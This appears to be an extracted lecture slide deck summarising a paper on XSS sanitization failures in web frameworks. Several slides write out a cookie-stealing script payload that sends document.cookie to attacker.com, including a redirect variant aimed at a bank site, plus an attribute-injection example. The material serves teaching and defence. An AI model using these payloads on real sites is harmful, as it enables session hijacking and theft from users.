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THE BROKEN WEB. A Systematic Analysis of XSS Sanitization in Web Application Frameworks . Executive summary. Web page processing analyzed in detail Sanitization is quite complex Context sensitive 14 WEB frameworks analyzed None handle sanitization properly - PowerPoint PPT Presentation
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THE BROKEN WEBA Systematic Analysis of XSS Sanitization in
Web Application Frameworks
Executive summary• Web page processing analyzed in detail• Sanitization is quite complex
• Context sensitive• 14 WEB frameworks analyzed
• None handle sanitization properly• In some cases they give a false sense of security because the
algorithm is wrong
HTTP background
GET www.example.com/sample.html
• Client sends request to server
www.example.com:/sample.html
<h>Sample file</h><p>This is a sample</p>
• Server locates and sends back file
Sample file
This is a sample
• Client displays file
Basic HTTP operation
HTTP background
GET www.example.com/sample.php
• Client sends request
Sample.php:
<?phpecho ‘<h>Sample file</h>’;echo ‘<p>This is a sample</p>’;?>
• Server executes script
<h>Sample file</h>
<p>This is a sample</p>
• Server returns generated file
Sample file
This is a sample
• Client displays file
Server side scripting
HTTP background
POST www.example.com/sample.php?name=Mr. Dummy&soc=234-23-5555&credit=1234-1234-1234-1234
• Client sends data to server
Sample.php:
<?php# save data somewhere….echo ‘<p>Now I own you.</p>’?>
• Server executes script
Please send me your important financial information:
Name: Mr. Dummy__Soc: 234-23-5555Credit card number:1234-1234-1234-1234
SUBMIT
• User fills in fields and presses ‘Submit’
Form management
Now I own you.
• Server sends response page to client
HTTP backgroundClient side scripting
<html><body>
<h1>My First Web Page</h1>
<script type="text/javascript">document.write("<p>" + Date() + "</p>");</script>
</body></html>
HTTP backgroundClient side scripting
<html><body>
<h1>My First Web Page</h1>
<p>Tue Feb 28 2012 14:28:07 GMT-0500 (EST)</p>
</body></html>
HTTP backgroundClient side scripting
My First Web Page
Tue Feb 28 2012 14:28:07 GMT-0500 (EST)
XSS attackServer side code prints text entered by a user from an earlier session. Consider this code:
<?phpecho ‘<p>Note from ‘.$user.’</p>’echo ‘<p>’.$note.’</p>’?>
Suppose $note contains
<script>document.write("<img src=http://attacker.com/" + document.cookie + ">")</script>The sky is falling.
XSS attackThe result is that the following is sent to your browser:
<p>Note from Mr. Apocalypse</p><p><script>document.write("<img src=http://attacker.com/" + document.cookie + ">")</script>The sky is falling.</p>
XSS attackYour browser displays the following:
Note from Mr. Apocalypse
[img] The sky is falling.
And the attacker has gotten your cookie.
XSS attackThe attacker simply needed to enter this script on the screen used to post the note.
Logged in as: Mr. Apocalypse
Text of message to post:<script>document.write("<img src=http://attacker.com/" + document.cookie + ">")</script>The sky is falling._______
Any website that echoes back a user input can be used foran XSS attack.
XSS attack• The following can be used to obtain the cookie for your
bank account:
<script>document.location='http://banking.com/search?name=<script>document.write("<img src=http://attacker.com/" + document.cookie + ">")</script>'</script>
SanitizationOne solution is to escape out sensitive characters
<script>document.write("<img src=http://attacker.com/" + document.cookie + ">")</script>
becomes
<script>document.write(“<img src=http://attacker.com/" + document.cookie + “>”)</script>Problem: sanitization needs to be done in a contextsensitive manner and the rules are very complex
Web page parsing
Challenge 1: context sensitivityConsider this code:
echo ‘<p>’.$note.’</p>’
Here one can replace ‘<‘ with < and ‘> with > to block attacks. However consider:
echo ‘<img src=‘.$url.’>’
Consider the following url:
picture.jpg’ onLoad=‘document.location=…”
Challenge 2: Sanitizing nested contexts
Consider this piece of php code:
echo ‘<script> var x = ‘.$UNTRUSTED_DATA.’...</script>’
One needs to block both the possibility of a </script> and that of a ‘ to prevent attacks
Challenge 3: Browser transductionsConsider:
<div class=‘comment-box’onclick=‘displayComment(" UNTRUSTED",this)’> ... hidden comment ... </div>
Even if all the “ characters are replaced with ", HTML 5 removes the encoding before passing the text to Javascript.
Challenge 4: Dynamic codeConsider this program:
function foo(untrusted) { document.write("<input onclick=’foo(" + untrusted + ")’ >");}
Evaluation generates html code that will repeat the call to the function.
Challenge 5: Character set issues+ADw- maps to < in UTF-7
The sanitizer needs to recognize the character set conversion
Challenge 6: everything else• MIME based XSS• Browser bugs
• Capability leaks• Parsing inconsistencies
• Browser extensions• Adobe flash is fairly buggy
Evaluation of web frameworks and applications
• Subjects• 14 popular web application frameworks• 8 popular php applications
• Evaluation• Auto-sanitization and/or sanitization libraries• Dynamic sanitization handling
Auto sanitization• 7 of 14 support auto sanitization
• 4 of 7 of these perform context insensitive sanitization which is inherently unsafe
• 14.8%-33.6% of output sinks fail to be protected by auto sanitization in 10 popular Django application
Context sensitive sanitization• Performed by 3 of 7 frameworks
• GWT, Google Clearsilver, and Google Ctemplate • Involved a runtime parser that checked the context and
applied the appropriate sanitization function• User needs to mark untrusted variables• No detailed analysis of reliability
• I assume they worked reasonably well
Manual sanitization• Prone to error
• Variables missed• Wrong sanitization function used
Dynamic code evaluation• Perform appropriate runtime checks before printing
untrusted strings• Generally not supported by frameworks• Four frameworks provided static sanitization of untrusted
strings within the context of Javascript constants
DOM based errors• Javascript can actually reference the content of a web
page
<h1>This page changes itself</h1><a name=“xxx”>Original content</a><script>document.anchors[0].innerHTML=“New content”;</script>
DOM based errors• Javascript can actually reference the content of a web
page
<h1>This page changes itself</h1><a name=“xxx”>New content</a><script>document.anchors[0].innerHTML=“New content”;</script>
DOM based errors• Consider this code:
text = element.getAttribute(’title’);// ... elided ...desc = create_element(’span’, ’bottom’);desc.innerHTML = text;tooltip.appendChild(desc);
This code read an element from the HTML, destroy escaping and reinsert it elsewhere
To avoid bug:use of innerText to write or innerHTML to read
DOM based errors• Ignored by frameworks• Cause many XSS vulnerabilities
Expressiveness of contexts in web applications
• 8 php applications analyzed• 19-532KLOC
• All applications emit untrusted data into all contexts• Applications sometimes employ different sanitizers for the
same context• General conclusion: frameworks do not provide sufficient
sanitization support
Manual sanitization expressiveness• 9 of 14 frameworks do not support contexts other than the
generic HTML• 4 provided sanitizers for Javascript string context• 1 framework provided a sanitizer for Javascript number
and boolean contexts• None allow for sanitization of Javascript code• Only one framework allowed customization of the sanitizer
within a context—the others had a pre-packaged sanitizer for all contexts
Correctness of sanitizers• Sanitizers prone to error• In frameworks they usually work on a “whitelist” model in
which only structures following specific patterns are allowed
• One framework uses a “blacklist” model in which specific strings are forbidden
• Frameworks rely on canonical form into which all output is formatted to simplify sanitizers
• The authors conclude that the “whitelist” approach should be researched. The “blacklist” approach is too error prone.
Related work• XSS analysis and defense
• Server side code errors• Javascript code errors• Research identifies vulnerabilities
• Untrusted data showing up in output• Improper sanitization
• Server side solutions• BLUEPRINT, SCRIPTGARD, XSS-GUARD• Formalize web model to design sanitizers
• Client side• XSS-Auditor
• Analyze browser reference patterns to try and identify attacks• Does not separate trusted and untrusted data
• Studies in sanitizer correctness• Manual process of adding sanitization is error prone• None provide a good underlying model for sanitizers
• Taint tracking and security typed languages
Paper’s conclusions• Current frameworks do not properly manage sanitization• The paper suggests a future direction of producing a
formal model of the browser’s behavior
Some later work• Saxena developed php analysis tools• Model checker – symbolic execution of php to try and find
dangerous code• Static analysis—tries to identify and incorporate sanitizers
based on the context of a print• Probably the better approach• Needs to be integrated with some sort of dynamic analysis
Discussion questions• What is the best approach for solving XSS?
• In addition to technical issues, what practical issues need to be addressed to get a solution deployed? For example, asking everyone to rewrite their php code is going to be difficult.
• Should the government get involved in regulating web sites to make sure basic protection standards are upheld?
XSS attack game• 2 teams• Source code available from www.cs.jhu.edu/~roe• Look for $_GET and $_POST variables for user input• Use MAMP to run
